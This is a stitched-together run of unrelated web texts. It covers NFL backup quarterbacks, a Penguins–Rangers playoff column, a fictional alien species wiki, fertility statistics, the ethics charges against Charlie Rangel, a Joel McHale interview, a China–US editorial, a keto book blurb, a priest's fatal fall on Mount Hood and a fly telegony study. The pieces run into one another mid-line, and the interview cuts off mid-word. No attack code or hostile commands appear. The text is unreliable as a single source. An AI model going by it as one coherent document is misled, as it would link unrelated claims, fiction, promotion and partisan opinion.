Jackson has 34 career starts, but he only played in garbage time in 2013. That said, he made the most of it, posting a 140.2 passer rating on 10-of-13 passing for 151 yards and a touchdown. During Seattle's 2013 preseason, Jackson completed 26-of-36 passes for 9.9 YPA, three touchdowns and no picks (131 rating). Those stats don't matter, obviously, but they do show his comfort level in the Seattle system.
Miami Dolphins:
Starter: Ryan Tannehill
Backups: QB Matt Moore, QB Pat Devlin, QB Brock Jensen
Matt Moore returns for his fourth season in Miami this year, and could be counted among the more experienced and quality backups in the league. Moore hasn't played much since Tannehill arrived; he last started in 2011, when he threw for 2,497 yards, 16 touchdowns and nine interceptions with 7.2 YPA and an 87.1 rating. His rating with the Dolphins has hovered right around 85.0, so while he's not necessarily who the team wants as "the guy," he makes for a nice insurance policy in case Tanny were to miss a few games. Moore has 25 starts in his career.
Dallas Cowboys:
Starter: Tony Romo
Backups: QB Kyle Orton, QB Brandon Weeden, QB Caleb Hanie
Kyle Orton has 70 starts in his career and his teams have gone 35-35 in those starts. I suppose if we're holding to Pat Kirwan's claim that a good backup can help your team manage itself to two wins in four games, Orton's career "record" (I'm not using QB wins, don't worry) shows maybe he makes for a pretty decent backup. Orton's career 83-to-59 TD-to-INT ratio is respectable, but his 8.0 YPA, 68 percent completion rate, and 95.5 rating in four games with Dallas is better.
Orton seems to be holding out right now in the hopes the Cowboys will cut him (perhaps he feels he can start somewhere else, and he may be able to), but if he ends up being Tony Romo's backup again in 2014, he'll be one of the more experienced and reliable backups in the NFL.
JOURNEYMEN BACKUPS:
No one's going to call these high-upside, sexy picks for backup quarterbacks, but offensive coordinators value experience and practical knowledge on playbooks, systems, concepts, and reading defenses.
San Diego Chargers:
Starter: QB Philip Rivers
Backups: QB Kellen Clemens, QB Brad Sorensen
Kellen Clemens started nine games for the Rams in 2013 and has 21 starts during his eight-year career, and was surprisingly... well, good might not be the right word, but respectable in replacement duty for Sam Bradford last year. He proved to be very tough, while he threw for 58.7 percent, 1,673 yards, eight touchdowns and seven interceptions. The Rams went 4-5 while he was under center, which is not eye-popping, obviously, but pretty good considering he was facing NFC West defenses in four of those eight games (all losses). When it comes to journeyman backups, you can do a lot worse than Clemens.
St. Louis Rams:
Starter: QB Sam Bradford
Backups: QB Shaun Hill, QB Austin Davis
The Rams replaced Clemens with another long-time, respected journeyman in Shaun Hill. Hill hasn't started a game since 2010, but in very limited action the past few seasons he's looked efficient. He's certainly experienced, with 26 starts in his career, and keeping with the.500 benchmark, his teams have gone 13-13 in those starts. These past four years in Detroit, he's started 10 games, passing for 2,891 yards on 62 percent completion rate, 18 touchdowns and 12 picks. The Rams will obviously hope that Bradford can emerge and stay healthy in 2014, but Hill's a nice, savvy veteran to have waiting in the wings.
DEVELOPMENTAL POTENTIAL (WILD CARDS):
New England Patriots:
Starter: QB Tom Brady
Backups: QB Ryan Mallett, QB Jimmy Garoppolo
I thought for sure that Ryan Mallett was going to be a first-round pick in 2011 -- top-10, even -- but he slipped into the third round and has languished on the bench behind Tom Brady ever since. There were rumors he'd be traded to the Texans during the earlier part of the offseason, but assuming he sticks in New England, the battle between Mallett and rookie Jimmy Garoppolo will be a fun one to watch.
Mallett may emerge as the backup once again, and to this point it's tough to tell what he really offers, as he's only thrown four regular-season passes, but dammit if I can't remain intrigued with his potential. If Mallett is not the answer, perhaps Garoppolo is. Bill Belichick obviously saw enough to select the Eastern Illinois product in the second round. Either way, New England has some developmental talent at the position, making the Patriots worth watching in the preseason.
San Francisco 49ers:
Starter: QB Colin Kaepernick
Backups: QB Blaine Gabbert, QB McLeod Bethel-Thompson, QB Josh Johnson
Blaine Gabbert was the 10th overall pick in the 2011 Draft, but never panned out starting for a very bad Jaguars team his first two seasons. He's now gotten a much-needed change of scenery, and will be studying under Jim Harbaugh and Greg Roman. Harbaugh, a former quarterback himself, is widely credited with resurrecting Alex Smith's career when he arrived in San Francisco, so with that precedent and for that lone reason, I list Gabbert here. Harbaugh has worn through a few backups during the past year, but he does have a history of getting quarterbacks to play their best.
Gabbert is a very good athlete with a strong arm and a limited amount of experience, which typically doesn't hurt... and that's it so far. If Harbaugh can help simplify things for Gabbert and use his talents correctly, he could emerge as the primary backup to Colin Kaepernick.
Houston Texans:
Starter: QB Ryan Fitzpatrick
Backups: QB Case Keenum, QB Tom Savage
Free agent Ryan Fitzpatrick has won the starting job in Houston but Case Keenum and Tom Savage make for an interesting competition for the backup job with the departure of T.J. Yates. Keenum passed for 1,760 yards, 7.0 YPA with nine touchdowns to six picks in relief of Matt Schaub last year, fairly admirable numbers for a second-year quarterback who had gone undrafted. He's the favorite right now and the Texans would at least have a backup who has some starting experience.
Savage, meanwhile, was a bit of a sleeper this year at quarterback and had been compared to, among others, Ben Roethlisberger in some scouting reports. Savage not only has an awesome football name, he's in the running to jump past Keenum for the backup job. Keep an eye on this battle.
ROOKIE BACKUPS:
These rookies are not expected to start this year -- according to front office and coaching staff comments, anyway -- but they're in a position to possibly surprise.
Jacksonville Jaguars:
Starter: QB Chad Henne
Backups: QB Blake Bortles, QB Ricky Stanzi, QB Stephen Morris
When the Jags drafted Blake Bortles with the third overall pick, head coach Gus Bradley quickly stated that the team planned to sit him for an entire year. He also stated that the Jags have rallied around Chad Henne as the starter, but we'll see what happens when the bullets start flying. My gut would think that Bradley will stick to his convictions this year regardless of the team's record or public pressure, but you just never know.
Jacksonville is obviously high on Bortles, and Bradley has a history in Seattle with another team that started a young rookie over the experienced veteran, and the results there were satisfactory for all parties. Regardless, for purposes of this article, Bortles makes for an intriguing backup his rookie year, with a high amount of upside.
Oakland Raiders:
Starter: QB Matt Schaub
Backup: QB Derek Carr, QB Matt McGloin
The Raiders will certainly have an interesting quarterback competition during training camp and preseason, but if early reports hold true, it's looking like it's Schaub's job this season. That said, second-round pick Derek Carr has impressed in camps and OTAs. With the way that Schaub played last season, bereft of any confidence throwing the ball, he could be a surprise to jump into the starting job. Whether it's Carr as another high-upside backup or Schaub as the veteran mentoring backup, Oakland should be one team to watch at that position this year.
QB BATTLES:
These four teams should have proper quarterback battles on their hands. I won't call any of them now, but they're included because regardless of who emerges as starters for each club, each one of those teams will have a solid backup as well.
Minnesota Vikings: QB Matt Cassell, QB Christian Ponder, QB Teddy Bridgewater
Cassell is the favorite to win the job, meaning high-upside rookie Teddy Bridgewater and former 12th overall pick Christian Ponder will fight for the No. 2 job. Ponder and Cassell have the experience you like at backup quarterback, and Bridgewater has the most potential. Should be interesting.
Browns: QB Brian Hoyer, QB Johnny Manziel, QB Tyler Thigpen, QB Connor Shaw
If Johnny Manziel ends up winning the starting quarterback job for Cleveland, the Browns could do worse than have Brian Hoyer at the backup spot.
Buccaneers: QB Josh McCown, QB Mike Glennon, QB Mike Kafka
The QB competition is heating up in Tampa Bay, and whether it's McCown or Glennon as the backup, both are experienced and provide some upside for the Bucs. Another one of the more interesting battles to keep an eye on.
Jets: QB Geno Smith, QB Michael Vick, QB Matt Simms, QB Tajh Boyd
The thought I've heard recently is that Michael Vick will emerge as the starter in 2014 for the Jets, putting Geno Smith back on the bench but giving him a little more time to develop his game. If Smith holds on to the reins, though, the Jets have a proven backup in Vick, provided he's healthy.
★★★
I'm not going to pretend I got all these into the correct groupings, and I'm sure I left a few candidates off the list, so in the comments below, let me know where you differ in opinion or let me know where I missed the mark.You don’t have to be Scotty Bowman to look at the Pittsburgh Penguins roster and see a few holes.
The bulk of their bottom six forwards leave a lot to be desired, with names like Joe Vitale, Tanner Glass, and Craig Adams consistently getting the nod while the Megnas and Gibbonses await their turn to draw in. Their d-corps pales in comparison to the best out there. Their goaltender has had some post-season struggles, to put it as politely as possible.
But don’t mistake the Penguins having a few holes for a team you can sleepwalk past, as it appears the Rangers did last night. New York may have the better roster top to bottom, but if that “top” part doesn’t get their act together, the Pens heavy-hitters could bowl them over.
There’s been no shortage of words spent on Crosby’s inability to put the puck in the net, but he tore the Rangers apart on Sunday. He was on the ice when Pittsburgh generated 20 shot attempts while only giving up seven. He racked up 10 of those himself, with six finding their way to the net. Goals or not, he’s vastly affecting games, with his post-season Corsi moving into the 60% range.
The Penguins best player played like their best player, much in the same way Carey Price and P.K. Subban helped Montreal steal a game in Boston. For New York, Henrik Lundqvist has lived up to his end of the deal, particularly in Game 2, but the rest of the Rangers core has left him on an island.
Martin St. Louis and Derek Stepan were basically non-existent in Game 2, as both of their scoreless droughts reached six. Rick Nash has one goal in 21 playoffs games with the Rangers, including zero this year. If Crosby was dominant, it was at the hands of Rangers talented young defenseman Ryan McDonagh, who was victimized so often they had to take him off the assignment in favor of Marc Staal and Anton Stralman.
While Brad Richards’ line was okay Sunday, he’s averaging a team high 5:08 per game on the powerplay in the role of quarterback for a unit that hasn’t scored in its previous 29 attempts, dating back to Game 2 of the opening round versus the Philadelphia Flyers. Coach Alain Vigneault has put the blame on himself for that, saying “The power play ultimately is my responsibility. I have to find the right trigger points to make it work. I’m going to spend the night trying to figure it out.” And maybe that’s at least partially fair, but at some point the players are responsible for making reads, creating chances and making it happen.
The players the Rangers need to play well to succeed simply let them down. Hell, Mats Zuccarello, who led the Rangers in scoring this season, posted a Corsi number of 11 - yes, that’s 11 - percent in Game 2. That’s so bad it’s impressive.
The smart money heading into this Pittsburgh/New York series was on the Rangers - they have a good enough d-corps that they should be able to at least manage the Penguins’ tremendous top-end talent, they have enough offensive skill themselves that they should be able to put a bunch past Marc-Andre Fleury, and their goaltender always gives them a chance.
But if Lundqvist is the only guy going for the Rangers, the Penguins are going to have a real shot at seeing the Conference Final, something I didn’t see coming a few days ago. Game 2 could’ve been a rout, and they weren’t far off winning Game 1.
Flawed though they may be, you still have to play well to beat the Black and Gold. Crosby and his goal drought may be drawing the headlines, but it could very well be the slump of the Rangers top talent that dictates how this series plays out.Contents show]
History
The extraterrestrial known as the Sneeper, hail from the Milky Way planet of Sneep. They were initially far more advanced than the humans of earth. As a people they developed spaceflight early on and used to invade and conquer several unnamed planets. While for their next target they discovered a small blue planet called Earth. It was too far from their planets to be reached easily, but due to the interesting life forms there, they decided to keep it under surveillance anyway.
At first humanity was technologically and culturally primitive compared to the space-faring Sneepers. The cavemen were deemed beneath the Sneeper's consideration and they continued to monitor them for amusement. The rise of Empires such a Rome alerted them to humanity’s capacity of advancement and conquest. Next stage was the Renaissance which alerted the Sneepers to the existence of human creativity. The Industrial Revolution had them shocked at the speed at which humanity could progress.
The Sneepers as a people developed at a much slower rate taking twice as long as humanity had to reach this point in development. They started worry that the humans one day might take control of their portion of galaxy. When humans discovered flight, the Sneepers figured rockets and space flight would be the next step. The Sneepers developed super weapons to be ready for a possible military conflict with Earth. The humans then developed nuclear technology that quickly surpassed their own methods of energy production.
The Sneepers waited for the next step in the human’s development, they were happy to see humans threaten one another with their nuclear weapons. By the 1960s, the arms race and conflicts in Cuba and Vietnam, riots and strikes managed to persuade them that it was only a matter of time before the humans would destroy themselves. They decided to halt their violent plans against Earth, waiting to see the humans' destined self-destruction.[1]
Habitat
Habitat: 68% of surface is covered by water with an arid climate
Gravity: 95% Earth standard
Atmosphere: 70% nitrogen, 30% oxygen
Population: 4.1 billion
Miscellaneous
Type of Government: Totalitarian dictatorship of Sneep and empire
Level of Technology: Low level warp driven starshps but still have not developed nuclear power
Cultural Traits: Imperialistic, ruthless
Representatives: Ambassador DibdebIn 2011, the Pew Research Center analyzed the fall in fertility by geography and found a strong link between falling fertility and economic malaise: the only state to show a slight increase in fertility between 2008 and 2009 was North Dakota, which had one of the lowest unemployment rates in the country.
The decline had been particularly pronounced for women who were among the hardest hit by the recession: young women and Hispanics. The data released on Friday showed that the fertility rate for both groups was still in decline, though the pace of the drop had slowed considerably.
Young Hispanics have experienced the largest decline, with the rate down by a third since 2007 among women ages 20 to 24, said Kenneth Johnson, a demographer at the University of New Hampshire.
But slightly older women, in their early 30s, saw an increase in their fertility rate in 2012, up from a flat rate in 2011 and a decline in 2010. Women in their early 40s were the only ones not to experience a decline in fertility during the economic downturn, as they did not have the time to delay childbearing.
“It seems like change is working its way backwards,” said Gretchen Livingston, a demographer at the Pew Research Center. “We are seeing the next youngest group dipping a toe in the water.”
It is still unclear if the recent decline in births will be made up by a surge in fertility over the next few years, as happened during the baby boom after World War II.
“A big question is what will happen to the 1.3 million forgone births?” Professor Johnson said. “Will women start to have these babies, or will the births never be made up?”(Credit: AP)
brought 13 charges against Democratic Rep. Charlie Rangel of New York yesterday.
For each violation, the Investigative Subcommittee scrutinizing Rangel determined there is "substantial reason to believe that a violation of the Code of Official Conduct, or of a law, rule, regulation, or other standard of conduct applicable to the performance of official duties or the discharge of official responsibilities by a Member, officer, or employee of the House of Representatives has occurred."
Below is a summary, and excerpts, from the Statement of Alleged Violations.
1. Conduct in violation of the solicitation and gift ban
"Between 2005 and 2008 Respondent engaged in a pattern of soliciting for donations and other things of value on behalf of the Charles B. Rangel Center for Public Policy at the City College of New York."
"The entities solicited were seeking official action from the House..."
"Respondent's conduct was not within the parameters established by the Standards Committee for solicitations on behalf of charitable organizations."
2. Conduct in violations of Code of Ethics for Government Service (clause 5)
A member is never supposed to give special favors or accept things that may make it look like it could sway the member in his official capacity.
"...Respondent made numerous requests for support for the Rangel Center. Those requests were directed at entities and individuals whose interests could be affected by the legislative and oversight activities of Respondent in his capacity as a member of congress."
"Contributions were made by persons with interests before the Ways and Means Committee..."
"Contributions to the Rangel Center provided a benefit to Respondent."
3. Conduct in violation of the House gift rule
"Respondent solicited contributions for the Rangel Center and the Rangel Center did receive contributions."
"Respondent has a personal interest in the Rangel Center... will provide him with an office, and allows him to perpetuate his legacy, including the storing and archiving of his papers."
"Contributions to the Rangel Center constituted indirect gifts attributable to Respondent."
4. Conduct in violation of postal service laws and franking commission regulations
A member is not allowed to use the frank for any association, committee or organization. Only for official congressional duties.
"Respondent used his frank for the benefit of a charitable organization and for solicitation of funds."
5. Conduct in violation of any franking statute
"Respondent used his frank on materials that were not official business."
6. Conduct in violation of House Office Building Commission's Regulations
Not allowed to use congressional staff to solicit contributions on House of Representatives property.
"Respondent and his staff drafted solicitation letters and performed other work related to solicitations on property of the U.S. Representatives."
7. Conduct in violation of the purpose law and the Member's Congressional Handbook
Members' allowances include official mail costs/staff salaries. It is against the law to misuse federal funds. The members' handbook says the allowance can only be used for official purposes.
"Respondent used House employees and other official House resources for work related to the Rangel center."
"Those resources included the use of staff time, use of telephones and House email accounts, other office supplies, and of the frank. Those expenses were paid using the MRA." MRA is the Member's Representational Allowance.
8. Conduct in violation of the Letterhead Rules
House rules do not allow anyone not under the direction and control of the House to use the words "Congress of the United States" or "House of Representatives" or "Official Business."
"...Respondent sent letters related to the Rangel Center on letterhead bearing the words 'Congress of the United States' and 'House of Representatives.'"
9. Conduct in violation of the Ethics in Government Act (EIGA) and House Rule 16
EIGA requires members to file full and complete Financial Disclosure statements on income, rent on property, gifts and other financial assets. If a statement has to be amended, the committee says it's in good faith if done by the end of the year and an explanation as to why. Fail on one of those, and the amendment is not considered in good faith.
"Respondent engaged in a pattern of submitting Financial Disclosure statements that were incomplete and inaccurate."
"Respondent failed to report numerous items required to be reported... from 1998 through 2008."
"Respondent erroneously reported numerous required to be reported under the EIGA during the period 1998 through 2007."
"Respondent's amendments...1998 through 2007 were not filed within the close of the year...Respondent's amendments were not timely."
"Respondent's amendments...1998 through 2007 were filed after the committee...had established an investigative subcommittee with respect to Respondent's conduct, including his reporting of the Punta Cana villa on his Financial Disclosure Statements..."
"Respondent has failed to establish that the amendments to his Financial Disclosure statements for the calendar years 1998 through 2007 were submitted in good faith."
"Respondent's conduct violated the EIGA."
10. Conduct in violation of Code of ethics for Government Service (clause 5)
Here's another case where a person in government is not supposed to give special privileges to anyone or accept favors or benefits that could look like it might influence his actions as a Representative.
"Respondent received a rent stabilized residential apartment at Lenox Terrace, which he used as office space for Rangel for Congress and National Leadership PAC."
"Terms of the lease for the rent stabilized apartment provided that the apartment was to be used 'for living purposes only.'"
"Respondent's acceptance of that rent-stabilized apartment for nonresidential purposes in contravention of the terms of the lease was a favor or benefit to him..."
"Respondent accepted the favor or benefit from Olnick under circumstances that might be construed by reasonable persons as influencing the performance of his governmental duties."
11. Conduct in violation of Code of Ethics for Government Service (clause 2)
Code of ethics for government service states that people in government must uphold the Constitution and laws of the United States.
"Respondent's failure to report rental income related to Punta Cana on his Federal income tax returns violated the Internal Revenue Code."
As already stated above, Rangel also violated Franking Regulations, House Office Building Commission's Regulations, Member's Congressional Handbook, Ethics in Government Act and the Internal Revenue Code and other violations.
12. Conduct in Violation of the Code of Conduct: Letter and Spirit of House Rules
House Rules state that a Member "shall adhere to the spirit and the letter of the Rules of the House..."
Respondent's conduct violated this rule.
13. Conduct in Violation of the Code of Conduct: Conduct Reflecting Discredibility on the House
House Rules state that a Member "shall behave at all times in a manner that shall reflect creditably on the House."
Subcommittee finds Rangel violated this with the following offenses:Who's his favorite reality TV target? What E! star complained about him? How are things at the cult-fave NBC sitcom? The multitalented funnyman tells all.
As host of E!'s consistently laugh-out-loud funny clip show The Soup since 2004, Joel McHale has taken much delight in skewering the supremely mockable world of reality TV. With the series rapidly approaching its 500th episode -- a milestone the network will celebrate tonight at 10:00 p.m. with live episodes airing on both coasts -- The Hollywood Reporter took a walk with McHale down memory lane. Read on to find out who some of his all-time favorite targets are, which fellow E! star complained about him to the network president (it's not Ryan Seacrest) and how the new season of Community is going with series creator Dan Harmon back at the helm.
The Hollywood Reporter: Congratulations on 500 episodes of The Soup!
Joel McHale: It takes most talk show hosts less than two years to get there, but it took us 10.
STORY: E! Orders Spinoff 'The Soup Investigates' (Exclusive)
THR: How are you feeling? Exhilarated? Exhausted? Some combination of the two?
McHale: I'm usually in a state of exhaustion somehow but never nearly what Seacrest is going through. I've been very, very blessed that I've been able to work a lot, so I end up being tired a lot. But you know when the adrenaline kicks in and there's a really good clip from ABC's Whodunnit? I get excited.
THR: What were your easiest targets -- the lowest-hanging Soup fruit?
McHale: Easiest target... That's hard to say. It's like seasons, because there's always something that's easy to make fun of. There's the things that put us on the map -- things like Spaghetti Cat, these clips that just kind of fall from heaven. Or all of Tila Tequila's show, things like that, we're like, "This is shootin' fish in a barrel!" And Paris Hilton for a while -- but now she really keeps to herself. God rest her soul, but Whitney Houston's show, Being Bobby Brown, that thing was giving us clips every minute. We've got 14 people watching TV and we can hardly cover it all. The home shopping networks, HSN and QVC, always deliver. For a while there was a Spanish telenovela called La Madrastra -- a lot of murderous clowns. Amazing. It's not an easy job, but digging ditches is much harder.
THR: Do you get any pushback from the network when you go after E!'s own reality series?
McHale: They have been fantastic with how we go after our network's own shows. It started with [former E! president] Ted Harbert and continues through [current president] Suzanne Kolb. If they didn't have that same attitude, I really don't think The Soup would work. There would be this weird, large elephant with an E and an exclamation point spray-painted on it in the room. It would be odd if we didn't make fun of the Kardashians. That said, there was a while where Kris [Jenner] was phoning Ted, much like a neighbor complaining about a baseball being thrown through the window: "He made fun of us again!" Ted was always so great -- it wasn't like, "You have to stop making fun of them." It was like, "Oh yeah, she called again, so can you guys not go as hard as you did last week?" So there was always a give-and-take on that. But other than that, no -- zero [pushback]. They just said, "Have at it." I would get producers going, "You gotta see the Ryan Lochte show -- you're going love it!"
VIDEO: Joel McHale Awkwardly Explains Beating Up Chevy Chase on 'Late Night'
THR: Have you had any awkward interactions with any of your targets?
McHale: Without exception, not one reality star ever has [complained]. Usually they come up to me and say, "Thank you for making fun of me. Can I please come on your show?" There was a time that Tyra Banks didn't want us doing it or showing clips, but that stopped. I met her last year and she was strangely very nice to me after all I had said. The whole thing with reality stars, they're famous for being famous -- so if you're talking about them, they're famous.
THR: Switching gears to your other series, how great is it to have Dan Harmon back at the helm of Community?
McHale: We had our first table read yesterday. The first script is dynamite. Dan created the show and it's his brain. Ken Jeong laughed for five minutes straight at one point, to the point where I was worried about him. The whole room was laughing 'cause the material is so good. That said, barring major injury, I cant wait to start shooting on Monday. I'm just thrilled. I'm as excited about this season as I was about the first. I have that anticipation.
THR: Donald Glover took a reduced role this season. Have you felt his absence yet?
McHale: He was at the table read and, obviously, Donald is a comic genius. His level of talent is pretty extraordinary and rare. His rap career is exploding, so I get why he wants [to focus more on it] -- he has an album coming out. I'd love him to come back in the sixth season if we get there.
STORY: 'Community's' Donald Glover Reduces Role for Season 5
THR: Harmon has said the "six seasons and a movie" mantra of Community believers everywhere is totally achievable. How are you feeling at this point?
McHale: I sure would like there to be but I don't have a crystal ball. If I did I would be looking up so many things, like will the Dodgers win the World Series and could a Millennium Falcon really exist one day. The thing that I do know is that Dan is really excited about this season and just judging on that first script, the writing is so dynam |
. Dialogue means mutual communication and seeking common consensus, not the other way around.That two countries which have different political systems, different ideologies and different cultures can sit down to clarify issues, explain their positions and restrain their differences truly underscores the foresight and sagacity of the countries' leaders. This dialogue is meant to lay down the right track for the China-US relationship and to some extent lay the foundations for the steady development of the 21st century.However, this progress may not yet have been acknowledged by public opinion in the US. The position held by some US media outlets and experts may create an illusion of public opinion which can mislead political decision-making. In China, public opinion has already broken away from the old mind-set and set its eyes on the goal of developing a new type of major power relationship between China and the US. But public opinion in the US seems to be still mired in the old mind-set and tends to see the dialogue mechanism as a boxing ring where China is considered a challenger to the "champ."Generally speaking, public opinion tends to amplify differences and in this case the government has the duty to help seek consensus. Media outlets and experts who work to magnify differences can always easily attract publicity and steal the limelight. In contrast, those who seek consensus must have the patience and stamina to endure misunderstandings. Since public opinion in the US is more open than that in China, extreme forces that attempt to drag China-US relations off the right track will always be able to make noise.What has changed since Trump assumed office is that the media outlets that dislike him have gotten used to criticizing him on every topic, including some important foreign relations such as China-US ties. Once the relationship moves one step forward, they may claim that Trump is bowing to China. If problems arise, they might urge Trump to be tougher on China. Wednesday's dialogue was not initially well received either. The New York Times ran an article on Wednesday titled "China's Trump Honeymoon: Unexpected, and at Risk of Ending."Public opinion is certainly important in pushing ahead the China-US relationship. But the development of relations should not be dictated by a tense atmosphere that has been deliberately created. The China-US relationship could head in many directions, including enlarging differences or seeking common interest and expanding consensus. But generally the US needs a steady China-US relationship, which requires the US authorities to be determined to fight against extreme public opinion.The center of attention in Wednesday's dialogue was the North Korea nuclear issue, which has ignited radical voices in the US. Media outlets that are always keen on playing up conflicts have even helped aggravate the paranoia. Some US experts claimed that Trump's tweets acted to mitigate pressure on China regarding the issue. These noises are interfering with the White House's decision-making.It is perhaps high time for the Trump administration to show leadership, determination, rationality and foresight. The White House needs to remain unaffected by this noise in order to have better cards to play especially at the time when the mainstream media is seeking to act against the White House.The development of the China-US relationship calls for continuous achievements in order to boost mutual trust but it should not proceed with undue haste. Dialogue does not mean one party should passively listen to the other party's speeches, nor does it mean one party should follow the other's rhythm to move ahead. The key to a fruitful relationship lies in patiently listening to each other, seeking consensus, controlling conflicts and laying down the right track.Are You Ready To Lose Weight with The Keto Diet Easily?
Did you know you can lose weight when you eat fat instead of carbs?
If that sounds crazy, then you probably have not heard about the Ketogenic Diet yet. This might sound like another fad, but the truth is this diet is over 80 years old and is proven to be highly effective!
In this book, you will learn the basic rules of the Ketogenic Diet, find answers to commonly asked questions about it, and most importantly, gain access to 7-day meal plans and fifty easy, delicious, and nutritious Keto-friendly recipes.
Now, if you are reading this because you want to know what the Ketogenic Diet is, or that you have already heard about it and would like to know how to begin. This book will explain to you the steps on both.
The first chapter is all about what the Ketogenic diet is and what its basic rules are. It is explained in simpler terms and it provides you with the right foundational knowledge to help you do further research on your own.
The second chapter will share with you not one, but four 7-day meal plans to help you get started on the diet within the first 21 to 28 days. As you know, it takes an average of 21 days to start a new habit so these meal plans will make it much easier for you.
The third chapter is dedicated to the frequently asked questions about the Ketogenic Diet which are of course followed by their answers – again in simple, layman's terms.
Chapters four through eight are all filled with a total of fifty Ketogenic Diet recipes that are incorporated in the meal plans found in the second chapter. You will find recipes for Breakfast, Lunch, Snacks, Dinner, and even Desserts. Everything is practically "spoon-fed" to you, so to speak, in order to make your transition from a traditional, probably not so healthy, diet to the fat-burning, energy surging Ketogenic Diet.
You must also be prepared to commit to the rules of the diet, and this includes completely eliminating carbohydrate-rich foods such as sugar and grains, both of which are highly common in the traditional Western diet.The sudden death of a Jersey City priest, who fell hundreds of feet to his death while mountain-climbing in Oregon this week, has shocked his parish community that was just getting to know him.
The Rev. Robert Cormier, 57, reached the summit of Mount Hood, the highest mountain in Oregon, on Tuesday when he suddenly plummeted through a cornice on the north side of the mountain, according to Sgt. Pete Hughes of the Hood River County Sheriff's Office in Oregon.
Cormier set out with two friends for the summit around 1:45 a.m. that morning, which is a typical time to climb the mountain during a full moon, Hughes said. One of the men Cormier was climbing with turned back due to a leg cramp, but Cormier and the other friend climbed on.
Cormier made it to the summit of the 11,250-foot mountain first, Hughes said, and there were also other climbers there. Authorities believe Cormier stepped out on top of a cornice when it gave way shortly after 8 a.m.
Cormier fell more than 700 feet, Hughes said.
Back in Jersey City, Cormier, who was affectionately known as "Father Bob," had only just arrived at St. Patrick & Assumption/All Saints Parish in early 2013. But he was already making a big impact and was "very engaged in the ministry of the parish," retired Rev. Gene Squeo said.
"We're really in shock," Squeo said. "We were just getting to know him and, in the short time he was here, he was building deep relationships with so many of the people."
Cormier, who is originally from Cranford, was an "avid outdoorsman," said James Goodness, spokesman for the Archdiocese of Newark.
"He was a very adventurous person," Squeo said.
Ordained in 1982, Cormier was transferred to the Jersey City parish on Bramhall Avenue from St. Rose of Lima in Newark, where he was for 17 years. He also served in parishes in Rutherford and Hackensack.
The Rev. Joseph Kwiatkowski, of St. Rose of Lima, said while arrived after Cormier had left the Newark parish, Cormier left an indelible mark on the community.
"He was beloved by the Spanish community here," Kwiatkowski said. "They are hurting because of the tragedy of his death."
The quest to scale the Oregon mountain was hatched by Cormier and friends from his high school days that he kept in contact with, said Mary Elaine Connell, a volunteer who grew up in the parish.
Cormier left on Monday for Oregon, which he intended to make his last mountain climbing excursion, Connell said.
Connell recalled Cormier was "so excited for the trip."
Squeo said Cormier was "a person with a lot of enthusiasm, a lot of energy." A nature enthusiast, he could always be seen strolling or jogging on Jersey City streets. The priest was also a pilot and occasionally flew out of Teterboro Airport.
Goodness said Cormier's enthusiasm was infectious and could bring out the best in everyone he came in contact with.
"I always found him to be extremely dedicated, extremely compassionate at the same time," Goodness said.
Cormier made weekly visits to Northern State Prison in Newark, where he was a chaplain at the prison and held religious services.
Also an author, Cormier recently had another book published on religion and faith. "He has a tremendous amount of written material that he's amassed over the years," Squeo recalled.
Cormier had a "special place in his heart for the Spanish community," Squeo said. He spoke five languages, including English, Spanish and Portuguese, and worked intimately with the parish's multi-ethnic community.
"He was having a really major impact" on the entire parish community, too, Connell said, which includes Haitians, French-Creoles, and Kenyans.
The Rev. Marc-Arthur Francois of the St. Patrick & Assumption/All Saints Parish said that instead of the parish's normal Sunday service schedule of holding Mass multiple times throughout the day, the parish will hold only one mass at 2:30 p.m. in memory of Cormier.
"It's a way for us to be together as a community to mourn the passing of Father Bob," Francois said.
Francois added that he expected there to be a large turnout for the Mass.
Those who knew Cormier have also been leaving comments on the Newark Archdiocese's Facebook page.
"He was such a vibrant priest. Our family was blessed with a powerful spiritual journey in a short time we got to know him here in Jersey City," read Brenda Santana's comment. "Rest in peace Father Bob. Eternal rest grant to him. Amen."
In Oregon, Hughes said while this may be "the most popular time to climb Mount Hood", the season has been "unseasonably warm." The warmer weather makes the ice under the snow "loose and easier... to give way," Hughes said.
Authorities spotted Cormier's body as they were searched the area using a helicopter, Hughes said.
However, authorities will not be able to retrieve the body until conditions improve. The dangers of avalanches are "far too significant" to send crews out there, Hughes said.
Authorities must wait until temperatures drop to recover Cormier's body, which may not be until next week, Hughes said.When a woman breaks up with a man, she usually wants every remnant of him removed from her life. A new study suggests that, try as she might, there may be one last piece of him that she’s stuck with for good: his DNA. A study from Australia has managed to prove that fly offspring are able to resemble a mother’s previous sexual partner, even when conceived with their father’s sperm.
The idea of telegony, or previous mates influencing a woman’s offspring, has been around for centuries. It was first proposed by the Greek philosopher Aristotle and was accepted as science until the early 1900s when it was disproved and replaced by more modern genetic theory, according to the study's press release. Unfortunately, the theory was largely used as a fear tactic to prevent women from copulating with different races or lower classes, but the study suggests the theory may have some elements of truth — for flies, at least.
To test the age old theory of telegony, the researchers manipulated male flies to grow to a certain height by changing the amount of nutrients in their diet. They then mated immature females with either large or small males. Later on, the now mature females were again mated with males of various sizes. The subsequent offspring were then studied, and what researchers observed was quite remarkable.
"We found that even though the second male sired the offspring, offspring size was determined by what the mother's previous mating partner ate as a maggot,” Dr. Angela Crean, led researcher on the project, explained in the press release. "Our new findings take this to a whole new level — showing a male can also transmit some of his acquired features to offspring sired by other males.”
The researchers are not yet sure about why this phenomenon occurs but believe it may be due to molecules in the seminal fluid of the first mate being absorbed by the female’s immature eggs and then influencing the growth of offspring of a later mate. This finding only adds to the already complicated field of genetics. Scientists are only just beginning to grasp the concept that offspring genetics are influenced by non-genetic factors, such as their parent’s diet. “Our new findings take this to a whole new level,” Crean said.
To answer the question that I’m sure is on every one of your minds, no the researchers are not yet sure whether this phenomenon exists in any other species, but testimony of many experienced breeders suggests it may be. As for humans, I don’t even want to begin opening that can of worms, but Crean did tell Medical Daily in an email that she's not ruling out this possibility.
“There is no evidence of such effects in humans, but there has not been any research on this possibility in humans. There is a potential for such effects in mammals,” explained Crean. “For example, there is a lot of foetal DNA in maternal blood during pregnancy, and this could potentially play a role in such effects. There is also evidence in mammals that seminal fluid affects offspring development, so semen from one male could potentially influence the development of eggs fertilized by another male (which is what we think is happening in flies).”
Crean added that due to ethical restraints it would be difficult to conduct a similar experiment on humans.
Update: Direct quotes from Dr. Angela Crean have been recently added.
